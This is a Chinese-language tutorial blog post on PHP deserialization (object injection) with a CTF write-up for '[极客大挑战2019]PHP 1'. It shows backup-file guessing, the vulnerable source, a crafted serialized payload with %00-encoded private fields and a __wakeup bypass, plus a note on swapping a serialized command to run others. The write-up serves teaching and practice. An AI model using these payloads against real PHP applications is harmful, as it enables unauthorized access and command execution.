LOADING

加载过慢请开启缓存 浏览器默认开启

PHP反序列化

2023/11/14 漏洞 漏洞 web

PHP反序列化

  1. 基础知识
  2. 反序列化
  3. [极客大挑2019]PHP 1

基础知识

  • 对象是具有类类型的变量,是对类的实例

  • 内部结构:

    成员变量(属性)+成员函数(方法)
    
  • 继承

    子类可以继承父类

反序列化

是什么?

数据的传递,为了传递数据的完整

bce41d83455328ad149239de9ccb36d

1700104041118

  • 序列化:对象转化为数组

  • 反序列化:数组

  • serialize()   //将一个对象转换成一个字符串
    
  • unserialize()   //将字符串还原为一个对象
    

漏洞出现的原因

魔术方法使用不当就会出现反序列化

审查代码逻辑

分析

序列化

1700104236374

<?php
class Person{
    public $name='ccc';
    public $sex='women';
    public $age='19';
}
 
$exampel=new Person();
$s=serialize($exampel);  //序列化
echo $s;
 ?>

1700104563470

O:6:"Person":3:{s:4:"name";s:3:"ccc";s:3:"sex";s:5:"women";s:3:"age";s:2:"19";}

代表含义:

object 长度 Person(变量的名字) 3个变量
string 4个长度 name ……

反序列化

<?php
class Person{
    public $name='ccc';
    public $sex='women';
    public $age='19';
}
 
$exampel=new Person();
$s=serialize($exampel);  //序列化
echo $s;
echo '<br>';
$u=unserialize($s);
var_dump($u);
 ?>

1700105026561

魔术方法

一般在前面会有下划线

__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时(new),会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

_construct() / _destruct()

1700105450974

直进行了创建对象的操作

$a=new A();

就执行了。

__toString()

当一个对象被当作字符串使用时触发

其他

1700105731357

1700105801748

这里get传参默认被调用了

安全问题

在传递参数的时候可以修改

ex:

在原来的函数中执行的是 ipconfig 序列化之后的为

1700109682187

我们可以使用

 unserialize($_GET[c]);

这样的方法从url中get接受c的取值

这样导致在使用时候,可以修改变量

可以把 **ipconfig ** 换做 ver 执行 同时确保产传入的序列化串中字符长度和字符匹配。

1700109595680

1700109608979

实践

[极客大挑2019]PHP 1

解题

1700120947199

图片中说到会备份,直接试一下

常见的网站源码备份文件后缀:

   tar.gz,zip,rar,tar

常见的网站源码备份文件名:

  web,website,backup,back,www,wwwroot,temp

尝试了www.zip 有这个文件,下载下来查看

1700121044810

先查看 index.php

找到关键部分:

  <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

1700121158809

flag.php里面什么都没有,那就查看一下class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

提取一下关键有用的部分

1700121360250

分析代码逻辑:

image-20231128094256841

通过index.php文件可以得知:使用get得到select,对select进行反序列化就可以得到flag

class.php文件中包含 flag.php

有两个 private变量:username和passwordif语句来判断 password是否等于100同时username是否为admin。

同时在class.php中用到**__wakeup** 它会对userneme进行一次赋值

所以要解决的问题为:

  • 传入正确的参数
  • 绕过__wakeup

写代码

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

}

$a =new Name('admin',100);
var_dump(serialize($a));  //显示关于一个或多个表达式的结构信息


?>

1700124204065

或者说:

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

1700124160978

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

光拿到这个还不够,因为他这个变量是private

所以放到url中的时候,还要在类名——在这里是Name 的前后加上

%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

这就完了?

不可能,前面还有一个**__wakeup绕过**

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

1700124279677

变量权限问题

在做题的时候发现:

1700122552588

和之前遇到的不一样,这里把类名都显出来了

1700122475923

对比一下源码:

<?php
class Name{
    private $username = 'admine';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>
<?php
class Person{
    public $name='ccc';
    public $sex='women';
    public $age='19';
}
 
$exampel=new Person();
$s=serialize($exampel);  //序列化
echo $s;

 ?>

发现成员变量修饰符不一样,正常的是 public ,出现类名的是 **private **

1700123107680

试运行

<?php
class Name{
    protected $username = 'admine';
    protected $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

1700123181151

__wakeup绕过

1700124628110

参考:

[极客大挑战 2019]PHP 1_hcjtn的博客-CSDN博客

【PHP】反序列化漏洞(又名“PHP对象注入”)_对象注入 unserialize() 函数进行攻击-CSDN博客

[极客大挑战 2019]PHP1-CSDN博客